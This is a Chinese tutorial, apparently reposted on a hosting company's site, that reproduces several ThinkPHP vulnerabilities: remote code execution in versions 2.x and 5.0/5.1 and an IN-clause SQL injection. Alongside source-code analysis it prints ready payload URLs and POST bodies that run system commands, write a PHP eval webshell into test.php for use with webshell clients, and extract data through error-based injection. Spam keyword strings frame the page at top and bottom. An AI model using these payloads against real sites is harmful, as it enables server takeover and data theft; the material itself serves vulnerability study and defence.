中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ThinkPHP漏洞復現實例分析

發布時間:2023-01-04 16:33:16 來源:億速云 閱讀:166 作者:iii 欄目:編程語言

本篇內容主要講解“ThinkPHP漏洞復現實例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“ThinkPHP漏洞復現實例分析”吧!

ThinkPHP

1)簡介

ThinkPHP是一個免費開源的,快速的,簡單的面向對象的國產輕量級PHP開發框架。

ThinkPHP遵循Apache2開源協議發布,是為了敏捷WEB應用開發和簡化企業級應用開而誕生的,具有免費開源,快速簡單及面向對象等眾多的優秀功能和特性。ThinkPHP經歷了五年多發展的同時,在社區團隊的積極參與下,在易用性,擴展性和性能方面不斷優化和改進,眾多的典型案例確保可以穩定用于商業以及門戶的開發。

ThinkPHP借鑒了國外很多優秀的框架和模式,使用面向對象的開發結構和MVC模式,采用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標簽庫),ROR的ORM映射和ActiveRecord模式;封裝了CURD和一些常用操作,在項目配置,類庫導入,模板引擎,查詢語言,自動驗證,視圖模型,項目編譯,緩存機制,SEO支持,分布式數據庫,多數據庫連接和切換,認證機制和擴展性方面均有獨特的表現。

使用ThinkPHP,可以更方便和快捷的開發和部署應用。ThinkPHP本身具有很多的原創特性,并且倡導大道至簡,開發由我的開發理念,用最少的代碼完成更多的功能,宗旨就是讓WEB應用開發更簡單,更快速!

2)安裝方法

下載ThinkPHP后解壓完成會形成兩個文件夾:ThinkPHP和Examples。

ThinkPHP無需單獨安裝,將ThinkPHP文件夾FTP至服務器Web目錄或拷貝至本地Web目錄下面即可。

3)ThinkPHP目錄結構說明

ThinkPHP.php:框架入口文件

Common:包含框架的一些公共文件,系統定義,系統函數和慣例配置等

Conf:框架配置文件目錄

Lang:系統語言文件目錄

Lib:系統基類庫目錄

Tpl:系統模板目錄

Extend:框架擴展s

4)ThinkPHP運行環境要求

ThinkPHP可以支持Windows/Unix服務器環境,可以運行包括Apache,IIS和nginx在內的多種WEB服務器和多種模式。需要PHP5.2.0以上版本支持,支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種數據庫和連接。

ThinkPHP本身沒有什么特別模塊要求,具體的應用系統運行環境要求視開發所涉及的模塊。ThinkPHP底層運行的內存消耗極低,而本身的文件大小也是輕量級,因此不會出現空間和內存占用的瓶頸。

一、2-rce

0x01 提前了解知識

preg_replace函數:

preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])

搜索subject中匹配pattern的部分,以replacement進行替換。

  • $pattern:要搜索的模式,可以是字符串或者一個字符串數組

  • $replacement:用于替換的字符串或者數組

  • $subject:用于替換的目標字符串或者數組

  • $limit:可選,對于每個模式用于每個subject字符串的最大可替換數。默認是-1

  • $count:可選·,為替換執行的次數

返回值:

如果subject為一個數組,則返回一個數組,其他情況下返回一個字符串。

如果匹配被查找到,替換后的subject被返回,其他情況下,返回沒有改變的 subject,如果發生錯誤返回NULL

正則表達式:https://www.runoob.com/regexp/regexp-syntax.html

0x02 實驗步驟

訪問頁面,發現是一個Thinkphp的cms框架,由于是漏洞復現,我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過亂輸入徑進行報錯,或是使用云悉指紋識別進行檢測

ThinkPHP漏洞復現實例分析

此時輸入已經爆出的遠程代碼執行命令即可浮現漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此為一句話連菜刀

ThinkPHP漏洞復現實例分析

這里只要將phpinfo()換成一句話木馬即可成功!

0x03 實驗原理

1)通過觀察這句話,我們可以清楚的知道它是將

${@phpinfo()}

作為變量輸出到了頁面顯示,其原理,我通過freebuf總結一下:

在PHP當中, ${} 是可以構造一個變量的, {} 寫的是一般字符,那么就會被當作成變量,比如 ${a} 等價于 $a

thinkphp所有的主入口文件默認訪問index控制器(模塊)

thinkphp所有的控制器默認執行index動作(方法)

http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...]

數組$var在路徑存在模塊和動作時,會去除前面兩個值。而數組$var來自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

所以我們構造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}.......

2)換而言之,就是在thinphp的類似于MVC的框架中,存在一個Dispatcher.class.php的文件,它規定了如何解析路由,在該文件中,存在一個函數為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當我們輸入的URL作為變量傳入時,該URL映射控制器會將變量以數組的方式獲取出來,從而導致漏洞的產生。

類名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  獲得服務器的PATH_INFO信息
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模塊名稱
static private function getGroup($var) 獲得實際的分組名稱

二、5.0.23-rce

漏洞簡介

ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個系列,系列不同,復現漏洞時也稍有不同。

在ThinkPHP 5.x中造成rce(遠程命令執行)有兩種原因

1.路由對于控制器名控制不嚴謹導致RCE、

2.Request類對于調用方法控制不嚴謹加上變量覆蓋導致RCE

首先記錄這兩個主要POC:

控制器名未過濾導致rce

function為反射調用的函數,vars[0]為傳入的回調函數,vars[1][]為參數為回調函數的參數

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心類Request遠程代碼執行漏洞

filter[]為回調函數,get[]或route[]或server[REQUEST_METHOD]為回調函數的參數,執行回調函數的函數為call_user_func()

核心版需要開啟debug模式

POST /index.php?s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未過濾導致RCE

0x01 簡介

2018年12月9日,ThinkPHP v5系列發布安全更新v5.0.23,修復了一處可導致遠程代碼執行的嚴重漏洞。在官方公布了修復記錄后,才出現的漏洞利用方式,不過不排除很早之前已經有人使用了0day

該漏洞出現的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調用到ThinkPHP框架內部的敏感函數,進而導致getshell漏洞

最終確定漏洞影響版本為:

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解該漏洞的關鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過下面格式進行解析URL

http://serverName/index.php(或者其它應用入口文件)/模塊/控制器/操作/[參數名/參數值...]

同時在兼容模式下ThinkPHP還支持以下格式解析URL:

http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...](參數以PATH_INFO傳入)
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[&參數名=參數值...]     (參數以傳統方式傳入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就產生在未匹配到路由的情況下,使用兼容模式解析url時,通過構造特殊url,調用意外的控制器中敏感函數,從而執行敏感操作

下面通過代碼具體解析ThinkPHP的路由解析流程

0x02 路由處理邏輯詳細分析

分析版本: 5.0.22

跟蹤路由處理的邏輯,來完整看一下該漏洞的整體調用鏈:

thinkphp/library/think/App.php

116行,通過routeCheck()方法開始進行url路由檢測

在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過$_SERVER['PATH_INFO']獲取到的主要path信息,==$_SERVER['PATH_INFO']會自動將URL中的""替換為"/",導致破壞命名空間格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息會通過get的方式獲取,var_pathinfo的值默認為's',從而繞過了反斜杠的替換==,這里也是該漏洞的一個關鍵利用點

檢測邏輯:如果開啟了路由檢測模式(配置文件中的url_on為true),則進入路由檢測,結果返回給$result,如果路由無效且設置了只允許路由檢測模式(配置文件url_route_must為true),則拋出異常。

在兼容模式中,檢測到路由無效后(false === $result),則還會進入Route::parseUrl()檢測路由。我們重點關注這個路由解析方式,因為該方式我們通過URL可控:

放回最終的路由檢測結果$result($dispath),交給exec執行:

$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由檢測
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 開啟路由
            ……
            // 路由檢測(根據路由定義返回不同的URL調度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {
                // 路由無效
                throw new RouteNotFoundException();
            }
        }
        // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }

thinkphp/libary/think/Route.php

跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式

$url主要同通過parseUrlPath()解析,跟蹤該函數發現程序通過斜杠/來劃分模塊/控制器/操作,結果為數組形式,然后將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]數組,作為App.php中$dispatch2值,并傳入exec()函數中

注意這里使用的時 斜杠/來劃分每個部分,我們的控制器可以通過命名空間來調用,命名空間使用反斜杠\來劃分,正好錯過,這也是能利用的其中一個細節

/**
     * 解析模塊的URL地址 [模塊/控制器/操作?]參數1=值1&參數2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自動深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo參數和變量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模塊,依次得到$module, $controller, $action
          ……
          // 封裝路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)//line:1284-1302
    {
        // 分隔符替換 確保路由定義使用統一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模塊/控制器/操作?]參數1=值1&參數2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模塊/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析結果作為exec()的參數進行執行,追蹤該函數

thinkphp/library/think/App.php

追蹤exec()函數,傳入了$dispatch,$config兩個參數,其中$dispatch為['type' => 'module', 'module' => $route]

因為 type 為 module,直接進入對應流程,然后執行module方法,其中傳入的參數$dispatch['module']為模塊\控制器\操作組成的數組

跟蹤module()方法,主要通過$dispatch['module']獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過程中除了做小寫轉換,沒有做其他過濾操作==

$controller將通過Loader::controller自動加載,這是ThinkPHP的自動加載機制,只用知道此步會加載我們需要的控制器代碼,如果控制器不存在會拋出異常,加載成功會返回$instance,這應該就是控制器類的實例化對象,里面保存的有控制器的文件路徑,命名空間等信息

通過is_callable([$instance, $action])方法判斷$action是否是$instance中可調用的方法

通過判斷后,會記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續調用,并更新當前$request對象的action

最后$call將被傳入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)//line:445-483
    {
        switch ($dispatch['type']) {
……
            case 'module': // 模塊/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }
        return $data;
    }
public static function module($result, $config, $convert = null)//line:494-608
    {
        ……
        if ($config['app_multi_module']) {
            // 多模塊部署
          // 獲取模塊名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
        }
……
        // 獲取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;
        // 獲取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 設置當前請求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      ……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
        // 獲取當前操作名
        $action = $actionName . $config['action_suffix'];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 執行操作方法
            $call = [$instance, $action];
            // 嚴格獲取當前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }
        Hook::listen('action_begin', $call);
        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修復情況,找到對應的commit,對傳入的控制器名做了限制

ThinkPHP漏洞復現實例分析

thinkphp/library/think/App.php

跟蹤invokeMethod,其中 $method = $call = [$instance, $action]

通過實例化反射對象控制$instace的$action方法,即控制器類中操作方法

中間還有一個綁定參數的操作

最后利用反射執行對應的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 靜態方法
            $reflect = new \ReflectionMethod($method);
        }
        $args = self::bindParams($reflect, $vars);
        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由檢測,

0x03 弱點利用

如上我們知道,url 路由檢測過程并沒有對輸入有過濾,我們也知道通過url構造的模塊/控制器/操作主要來調用對應模塊->對應的類->對應的方法,而這些參數通過url可控,我們便有可能操控程序中的所有控制器的代碼,接下來的任務便是尋找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 記錄執行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }

該函數通過ReflectionFunction()反射調用程序中的函數,這就是一個很好利用的點,我們通過該函數可以調用系統中的各種敏感函數。

找到利用點了,現在就需要來構造poc,首先觸發點在thinkphp/library/think/App.php中的invokeFunction,我們需要構造url格式為模塊\控制器\操作

模塊我們用默認模塊index即可,首先大多數網站都有這個模塊,而且每個模塊都會加載app.php文件,無須擔心模塊的選擇

該文件的命名空間為think,類名為app,我們的控制器便可以構造成\think\app。因為ThinkPHP使用的自動加載機制會識別命名空間,這么構造是沒有問題的。

操作直接為invokeFunction,沒有疑問

參數方面,我們首先要觸發第一個調用函數,簡化一下代碼再分析一下:

第一行確定 $class 就是我們傳入的控制器\think\app實例化后的對象

第二行綁定我們的方法,也就是invokefunction

第三方就可以調用這個方法了,其中$args是我們的參數,通過url構造,將會傳入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就進入我們的invokefunctio,該函數需要什么參數,我們就構造什么參數,首先構造一個調用函數function=call_user_func_array

call_user_func_array需要兩個參數,第一個參數為函數名,第二個參數為數組,var[0]=system,var[1][0]=id

這里因為兩次反射一次回調調用需要好好捋一捋。

ThinkPHP漏洞復現實例分析

復現成功

ThinkPHP漏洞復現實例分析

三.5-rce

0x01 漏洞原理

ThinkPHP是一款運用極廣的PHP開發框架,其版本5中,由于沒有使用正確的控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下),可以執行任意方法,從而導致遠程命令執行漏洞。

0x02 漏洞影響版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞復現

可以利用點:

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

ThinkPHP漏洞復現實例分析

vars[0]用來接受函數名,vars[1][]用來接收參數

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

ThinkPHP漏洞復現實例分析

會在屏幕上打出123和我們輸入的字符串長度

寫入一句話木馬getshell

使用file_put_contents函數寫入shell:

vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php

ThinkPHP漏洞復現實例分析

使用蟻劍成功getshell!

四.In-sqlinjection-rce

0x01 了解的知識:

pdo預編譯:

當我們使用mysql語句進行數據查詢時,數據首先傳入計算機,計算機進行編譯之后傳入數據庫進行數據查詢

(我們使用的是高級語言,計算機無法直接理解執行,所以我們將命令或請求傳入計算機時,計算機首先將我們的語句編譯成為計算機語言,之后再進行執行,所以如果不編譯直接執行計算機是無法理解的,如傳入select函數,沒編譯之前計算機只認為這是五個字符,而無法理解這是個查詢函數)

如此說來,我們每次查詢時都需要先編譯,這樣會加大成本,并且會存在sql注入的可能,所以有一定危險。

如此,我們進行查詢數據庫數據時使用預編譯,例如:

select ? from security where tables=?

此語句中?代表占位符,在pdo中表示之后綁定的數據,此時無法確定具體值

用戶在傳入查詢具體數值時,計算機首先將以上的查詢語句進行編譯,使其具有執行力,之后再對于?代表的具體數值就不進行編譯而直接進行查詢,所以我們在?處利用sql注入語句代替時,就不具有任何效力,甚至傳入字符串時還會報錯,而預編譯還可以節省成本,即上面語句除了查詢數值只編譯一次,之后進行相同語句查詢時直接使用,只是查詢具體數值改變。所以這種預編譯的方式可以很好的防止sql注入。

漏洞上下文如下:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}

如上述代碼,如果我們控制了in語句的值位置,即可通過傳入一個數組,來造成SQL注入漏洞。

文中已有分析,我就不多說了,但說一下為什么這是一個SQL注入漏洞。IN操作代碼如下:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 處理帶非單詞字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查詢
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

可見,$bindName在前邊進行了一次檢測,正常來說是不會出現漏洞的。但如果$value是一個數組的情況下,這里會遍歷$value,并將$k拼接進$bindName。

也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL注入漏洞。那么,為什么原文中說測試SQL注入失敗呢?

這就是涉及到預編譯的執行過程了。通常,PDO預編譯執行過程分三步:

prepare($SQL)編譯SQL語句

bindValue($param, $value)將value綁定到param的位置上

execute()執行

這個漏洞實際上就是控制了第二步的$param變量,這個變量如果是一個SQL語句的話,那么在第二步的時候是會拋出錯誤的:

ThinkPHP漏洞復現實例分析

所以,這個錯誤“似乎”導致整個過程執行不到第三步,也就沒法進行注入了。

但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下代碼:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}

執行發現,雖然我只調用了prepare函數,但原SQL語句中的報錯已經成功執行:

ThinkPHP漏洞復現實例分析

究其原因,是因為我這里設置了PDO::ATTR_EMULATE_PREPARES => false。

這個選項涉及到PDO的“預處理”機制:因為不是所有數據庫驅動都支持SQL預編譯,所以PDO存在“模擬預處理機制”。如果說開啟了模擬預處理,那么PDO內部會模擬參數綁定的過程,SQL語句是在最后execute()的時候才發送給數據庫執行;如果我這里設置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會模擬預處理,參數化綁定的整個過程都是和Mysql交互進行的。

非模擬預處理的情況下,參數化綁定過程分兩步:第一步是prepare階段,發送帶有占位符的sql語句到mysql服務器(parsing->resolution),第二步是多次發送占位符參數給mysql服務器進行執行(多次執行optimization->execution)。

這時,假設在第一步執行prepare($SQL)的時候我的SQL語句就出現錯誤了,那么就會直接由mysql那邊拋出異常,不會再執行第二步。我們看看ThinkPHP5的默認配置:

...
// PDO連接參數
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可見,這里的確設置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構造如下POC,即可利用報錯注入,獲取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

ThinkPHP漏洞復現實例分析

但是,如果你將user()改成一個子查詢語句,那么結果又會爆出Invalid parameter number: parameter was not defined的錯誤。因為沒有過多研究,說一下我猜測:預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數據的 ,也就是說不會從表中將真實數據取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸數據,但類似user()這樣的數據庫函數的值還是將會編譯進SQL語句,所以這里執行并爆了出來。

到此,相信大家對“ThinkPHP漏洞復現實例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

当雄县| 米林县| 隆尧县| 堆龙德庆县| 鹤庆县| 珲春市| 洞头县| 柳江县| 绥阳县| 麻城市| 莎车县| 西藏| 金川县| 平江县| 商丘市| 五常市| 喜德县| 荥经县| 定远县| 阿巴嘎旗| 沙雅县| 庐江县| 民丰县| 太和县| 金阳县| 大英县| 通榆县| 潍坊市| 三都| 五原县| 明水县| 壤塘县| 广宁县| 万盛区| 望谟县| 道孚县| 海盐县| 浮梁县| 通州市| 万荣县| 马关县|